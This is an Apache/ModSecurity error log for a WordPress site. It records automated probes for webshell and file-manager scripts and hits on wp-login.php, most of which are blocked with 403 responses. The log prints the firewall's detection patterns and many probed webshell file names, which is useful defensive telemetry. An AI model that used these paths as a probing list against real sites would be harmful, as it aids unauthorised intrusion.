[Mon Nov 24 14:43:05.771534 2025] [:error] [pid 9630:tid 9646] [client 85.237.194.110:37591] [client 85.237.194.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSP-eSrSgUgPGkizt2rHygAAAE4"]
[Mon Nov 24 14:43:07.207597 2025] [:error] [pid 48688:tid 48695] [client 181.215.65.76:24509] [client 181.215.65.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aSP-exm2q1FkzLam7A2BQgAAAkM"]
[Mon Nov 24 14:43:11.168302 2025] [:error] [pid 16441:tid 16465] [client 85.237.194.143:27593] [client 85.237.194.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aSP-f4q_bc5MOa9Hfln_3gAAAJU"]
[Mon Nov 24 14:43:12.483889 2025] [:error] [pid 48601:tid 48665] [client 85.237.194.52:54251] File does not exist: /usr/local/apache/htdocs/suspended-page/text.php
[Mon Nov 24 14:43:13.176509 2025] [:error] [pid 48601:tid 48678] [client 85.237.194.52:54251] File does not exist: /usr/local/apache/htdocs/suspended-page/xc.php
[Mon Nov 24 14:43:14.511274 2025] [:error] [pid 48601:tid 48680] [client 85.237.194.52:54251] [client 85.237.194.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.237.194.52, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/images/wp-login.php"] [unique_id "aSP-goMM4MaVTk74-AaU_gAAAhc"]
[Mon Nov 24 14:43:18.809653 2025] [:error] [pid 48601:tid 48674] [client 85.237.194.52:54251] File does not exist: /usr/local/apache/htdocs/suspended-page/go.php
[Mon Nov 24 14:43:20.389313 2025] [:error] [pid 48601:tid 48666] [client 85.237.194.52:54251] File does not exist: /usr/local/apache/htdocs/suspended-page/byp.php
[Mon Nov 24 14:43:24.786758 2025] [:error] [pid 48601:tid 48678] [client 85.237.194.52:54251] [client 85.237.194.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aSP-jIMM4MaVTk74-AaVEQAAAhU"]
[Mon Nov 24 14:43:26.266398 2025] [:error] [pid 48600:tid 48654] [client 85.237.194.141:34203] File does not exist: /usr/local/apache/htdocs/suspended-page/click.php
[Mon Nov 24 14:43:28.464026 2025] [:error] [pid 48600:tid 48635] [client 85.237.194.141:34203] [client 85.237.194.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.237.194.141, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aSP-kPtOzSUAQvWVjBdkmwAAAcU"]
[Mon Nov 24 14:43:29.092415 2025] [:error] [pid 48600:tid 48649] [client 85.237.194.141:34203] File does not exist: /usr/local/apache/htdocs/suspended-page/baxa1.php
[Mon Nov 24 14:43:30.574085 2025] [:error] [pid 48600:tid 48644] [client 85.237.194.141:34203] File does not exist: /usr/local/apache/htdocs/suspended-page/in.php
[Mon Nov 24 14:43:31.271477 2025] [:error] [pid 48600:tid 48641] [client 85.237.194.141:34203] File does not exist: /usr/local/apache/htdocs/suspended-page/geju.php
[Mon Nov 24 14:43:32.674644 2025] [:error] [pid 48600:tid 48639] [client 85.237.194.141:34203] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Mon Nov 24 14:43:33.381982 2025] [:error] [pid 48600:tid 48638] [client 85.237.194.141:34203] File does not exist: /usr/local/apache/htdocs/suspended-page/elp.php
[Mon Nov 24 14:43:34.082831 2025] [:error] [pid 48600:tid 48637] [client 85.237.194.141:34203] [client 85.237.194.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/makeasmtp.php"] [unique_id "aSP-lvtOzSUAQvWVjBdkpQAAAcc"]
[Mon Nov 24 14:43:35.561661 2025] [:error] [pid 49900:tid 49919] [client 104.234.32.1:63437] [client 104.234.32.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/about.php"] [unique_id "aSP-lzCyPLrvg06aornsYQAAABE"]
[Mon Nov 24 14:43:36.864299 2025] [:error] [pid 16441:tid 16445] [client 85.237.194.142:44629] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen-667.php
[Mon Nov 24 14:43:37.478166 2025] [:error] [pid 16441:tid 16460] [client 85.237.194.142:44629] File does not exist: /usr/local/apache/htdocs/suspended-page/network.php
[Mon Nov 24 14:43:38.194886 2025] [:error] [pid 16441:tid 16461] [client 85.237.194.142:44629] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php
[Mon Nov 24 14:43:39.664144 2025] [:error] [pid 16441:tid 16461] [client 85.237.194.142:44629] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Mon Nov 24 14:43:40.986579 2025] [:error] [pid 16441:tid 16452] [client 85.237.194.142:44629] File does not exist: /usr/local/apache/htdocs/suspended-page/yanz.php
[Mon Nov 24 14:43:43.689518 2025] [:error] [pid 16441:tid 16446] [client 85.237.194.142:44629] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/zmFM.php
[Mon Nov 24 14:43:49.885750 2025] [:error] [pid 16441:tid 16456] [client 85.237.194.142:44629] File does not exist: /usr/local/apache/htdocs/suspended-page/tiny.php
[Mon Nov 24 14:43:50.573113 2025] [:error] [pid 16441:tid 16444] [client 85.237.194.142:44629] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Mon Nov 24 14:43:51.278388 2025] [:error] [pid 16441:tid 16446] [client 85.237.194.142:44629] File does not exist: /usr/local/apache/htdocs/suspended-page/first.php
[Mon Nov 24 14:43:52.583999 2025] [:error] [pid 16441:tid 16460] [client 85.237.194.142:44629] [client 85.237.194.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSP-qIq_bc5MOa9HflkAFwAAAJA"]
[Mon Nov 24 14:43:56.594186 2025] [:error] [pid 9630:tid 9646] [client 85.237.194.140:31113] [client 85.237.194.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/bak.php"] [unique_id "aSP-rCrSgUgPGkizt2rIBwAAAE4"]
[Mon Nov 24 14:43:57.982036 2025] [:error] [pid 48601:tid 48663] [client 85.237.194.56:62529] File does not exist: /usr/local/apache/htdocs/suspended-page/bs1.php
[Mon Nov 24 14:43:58.589980 2025] [:error] [pid 48601:tid 48665] [client 85.237.194.56:62529] [client 85.237.194.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aSP-roMM4MaVTk74-AaVGwAAAgg"]
[Mon Nov 24 14:44:01.377954 2025] [:error] [pid 9630:tid 9653] [client 181.215.65.78:42655] File does not exist: /usr/local/apache/htdocs/suspended-page/cron.php
[Mon Nov 24 14:44:02.796884 2025] [:error] [pid 9630:tid 9636] [client 181.215.65.78:42655] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Mon Nov 24 14:44:03.471040 2025] [:error] [pid 9630:tid 9641] [client 181.215.65.78:42655] [client 181.215.65.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "aSP-syrSgUgPGkizt2rIEAAAAEk"]
[Mon Nov 24 14:44:04.868106 2025] [:error] [pid 48601:tid 48680] [client 85.237.194.72:29249] [client 85.237.194.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSP-tIMM4MaVTk74-AaVHQAAAhc"]
[Mon Nov 24 14:44:07.185049 2025] [:error] [pid 48599:tid 48621] [client 85.237.194.110:30939] [client 85.237.194.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.237.194.110, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "aSP-t5zvu6PDJiRKE3IKXwAAAZI"]
[Mon Nov 24 14:44:07.886146 2025] [:error] [pid 48599:tid 48606] [client 85.237.194.110:30939] File does not exist: /usr/local/apache/htdocs/suspended-page/a.php
[Mon Nov 24 14:44:09.189338 2025] [:error] [pid 48599:tid 48604] [client 85.237.194.110:30939] [client 85.237.194.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aSP-uZzvu6PDJiRKE3IKYgAAAYE"]
[Mon Nov 24 14:44:10.568428 2025] [:error] [pid 16441:tid 16466] [client 181.215.65.67:35753] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Mon Nov 24 14:44:11.980037 2025] [:error] [pid 16441:tid 16465] [client 181.215.65.67:35753] File does not exist: /usr/local/apache/htdocs/suspended-page/back.php
[Mon Nov 24 14:44:15.279048 2025] [:error] [pid 16441:tid 16444] [client 181.215.65.67:35753] [client 181.215.65.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/wp-includes_function.php"] [unique_id "aSP-v4q_bc5MOa9HflkAVgAAAIA"]
[Mon Nov 24 14:44:16.678011 2025] [:error] [pid 16441:tid 16446] [client 85.237.194.61:23881] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Mon Nov 24 14:44:17.987944 2025] [:error] [pid 16441:tid 16458] [client 85.237.194.61:23881] [client 85.237.194.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "aSP-wYq_bc5MOa9HflkAXAAAAI4"]
[Mon Nov 24 14:44:20.082173 2025] [:error] [pid 48688:tid 48705] [client 85.237.194.56:60159] File does not exist: /usr/local/apache/htdocs/suspended-page/phpfm3.php
[Mon Nov 24 14:44:20.879734 2025] [:error] [pid 48688:tid 48701] [client 85.237.194.56:60159] [client 85.237.194.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aSP-xBm2q1FkzLam7A2BwgAAAkk"]
[Mon Nov 24 14:44:23.989683 2025] [:error] [pid 48601:tid 48674] [client 181.215.65.74:61791] File does not exist: /usr/local/apache/htdocs/suspended-page/post.php
[Mon Nov 24 14:44:24.724082 2025] [:error] [pid 48601:tid 48667] [client 181.215.65.74:61791] [client 181.215.65.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 181.215.65.74, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/languages/themes/wp-login.php"] [unique_id "aSP-yIMM4MaVTk74-AaVNQAAAgo"]
[Mon Nov 24 14:44:29.970633 2025] [:error] [pid 48601:tid 48679] [client 181.215.65.74:61791] [client 181.215.65.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/index.php"] [unique_id "aSP-zYMM4MaVTk74-AaVOQAAAhY"]
[Mon Nov 24 14:44:31.361120 2025] [:error] [pid 48601:tid 48673] [client 85.237.194.38:44623] [client 85.237.194.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSP-z4MM4MaVTk74-AaVOgAAAhA"]
[Mon Nov 24 14:44:34.882420 2025] [:error] [pid 48599:tid 48623] [client 85.237.194.80:40003] File does not exist: /usr/local/apache/htdocs/suspended-page/randkeyword.php
[Mon Nov 24 14:44:36.977976 2025] [:error] [pid 48599:tid 48605] [client 85.237.194.80:40003] File does not exist: /usr/local/apache/htdocs/suspended-page/xxx.php
[Mon Nov 24 14:44:39.092846 2025] [:error] [pid 48599:tid 48624] [client 85.237.194.80:40003] File does not exist: /usr/local/apache/htdocs/suspended-page/lv.php
[Mon Nov 24 14:44:39.797508 2025] [:error] [pid 48599:tid 48612] [client 85.237.194.80:40003] File does not exist: /usr/local/apache/htdocs/suspended-page/zip.php
[Mon Nov 24 14:44:41.282683 2025] [:error] [pid 48599:tid 48614] [client 85.237.194.80:40003] [client 85.237.194.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aSP-2Zzvu6PDJiRKE3IKdwAAAYs"]
[Mon Nov 24 14:44:43.998928 2025] [:error] [pid 9630:tid 9644] [client 85.237.194.110:38211] [client 85.237.194.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aSP-2yrSgUgPGkizt2rIPAAAAEw"]
[Mon Nov 24 14:44:45.380367 2025] [:error] [pid 9630:tid 9643] [client 181.215.65.71:30627] [client 181.215.65.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "aSP-3SrSgUgPGkizt2rIPQAAAEs"]
[Mon Nov 24 14:44:46.672230 2025] [:error] [pid 16593:tid 16597] [client 181.215.65.71:20775] [client 181.215.65.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Content/index.php"] [unique_id "aSP-3hVGznHBJI2LKpQlYwAAAoI"]
[Mon Nov 24 14:44:48.069334 2025] [:error] [pid 49900:tid 49910] [client 85.237.194.80:58859] [client 85.237.194.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aSP-4DCyPLrvg06aornsoAAAAAg"]
[Mon Nov 24 14:44:52.079157 2025] [:error] [pid 9630:tid 9653] [client 181.215.65.66:56187] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-cron.php
[Mon Nov 24 14:44:52.816951 2025] [:error] [pid 9630:tid 9652] [client 181.215.65.66:56187] [client 181.215.65.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aSP-5CrSgUgPGkizt2rISgAAAFQ"]
[Mon Nov 24 14:44:54.871800 2025] [:error] [pid 9630:tid 9646] [client 85.237.194.96:48027] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Mon Nov 24 14:44:55.490776 2025] [:error] [pid 9630:tid 9655] [client 85.237.194.96:48027] File does not exist: /usr/local/apache/htdocs/suspended-page/rcc.php
[Mon Nov 24 14:44:56.180776 2025] [:error] [pid 9630:tid 9651] [client 85.237.194.96:48027] [client 85.237.194.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aSP-6CrSgUgPGkizt2rIUwAAAFM"]
[Mon Nov 24 14:44:57.568422 2025] [:error] [pid 16593:tid 16611] [client 85.237.194.158:55389] File does not exist: /usr/local/apache/htdocs/suspended-page/class.api.php
[Mon Nov 24 14:44:58.280827 2025] [:error] [pid 16593:tid 16609] [client 85.237.194.158:55389] File does not exist: /usr/local/apache/htdocs/suspended-page/layout.php
[Mon Nov 24 14:44:58.975137 2025] [:error] [pid 16593:tid 16613] [client 85.237.194.158:55389] [client 85.237.194.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aSP-6hVGznHBJI2LKpQlcAAAApI"]
[Mon Nov 24 14:45:00.371243 2025] [:error] [pid 16549:tid 16565] [client 181.215.65.75:60623] File does not exist: /usr/local/apache/htdocs/suspended-page/history.php
[Mon Nov 24 14:45:01.024746 2025] [:error] [pid 16549:tid 16557] [client 181.215.65.75:60623] [client 181.215.65.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "aSP-7aeWW19A99PUw_cjIQAAAUU"]
[Mon Nov 24 14:45:04.421038 2025] [:error] [pid 48688:tid 48694] [client 85.237.194.134:52069] [client 85.237.194.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aSP-8Bm2q1FkzLam7A2BzAAAAkI"]
[Mon Nov 24 14:45:05.724355 2025] [:error] [pid 9630:tid 9650] [client 181.215.65.65:26569] [client 181.215.65.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/zmFM.php"] [unique_id "aSP-8SrSgUgPGkizt2rIWQAAAFI"]
[Mon Nov 24 14:45:07.766304 2025] [:error] [pid 48601:tid 48667] [client 181.215.65.73:47103] [client 181.215.65.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSP-84MM4MaVTk74-AaVUAAAAgo"]
[Mon Nov 24 14:45:09.072700 2025] [:error] [pid 16549:tid 16569] [client 104.234.32.2:65511] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Mon Nov 24 14:45:10.376866 2025] [:error] [pid 16549:tid 16552] [client 104.234.32.2:65511] File does not exist: /usr/local/apache/htdocs/suspended-page/cong.php
[Mon Nov 24 14:45:11.072518 2025] [:error] [pid 16549:tid 16574] [client 104.234.32.2:65511] [client 104.234.32.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.32.2, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aSP-96eWW19A99PUw_cjKwAAAVU"]
[Mon Nov 24 14:45:12.474749 2025] [:error] [pid 16549:tid 16575] [client 104.234.32.2:65511] [client 104.234.32.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/wp-login.php"] [unique_id "aSP--KeWW19A99PUw_cjLQAAAVY"]
[Mon Nov 24 14:45:13.866349 2025] [:error] [pid 9630:tid 9644] [client 181.215.65.71:51217] [client 181.215.65.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aSP--SrSgUgPGkizt2rIZwAAAEw"]
[Mon Nov 24 14:45:15.287286 2025] [:error] [pid 48601:tid 48665] [client 181.215.65.76:54185] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Mon Nov 24 14:45:15.994807 2025] [:error] [pid 48601:tid 48658] [client 181.215.65.76:54185] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php
[Mon Nov 24 14:45:18.982012 2025] [:error] [pid 48601:tid 48680] [client 181.215.65.76:54185] File does not exist: /usr/local/apache/htdocs/suspended-page/login.php
[Mon Nov 24 14:45:21.184815 2025] [:error] [pid 48601:tid 48676] [client 181.215.65.76:54185] [client 181.215.65.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 181.215.65.76, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aSP_AYMM4MaVTk74-AaVXwAAAhM"]
[Mon Nov 24 14:45:21.970014 2025] [:error] [pid 48601:tid 48681] [client 181.215.65.76:54185] [client 181.215.65.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aSP_AYMM4MaVTk74-AaVYAAAAhg"]
[Mon Nov 24 14:45:23.465933 2025] [:error] [pid 48599:tid 48604] [client 85.237.194.40:21561] [client 85.237.194.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "aSP_A5zvu6PDJiRKE3IKjQAAAYE"]
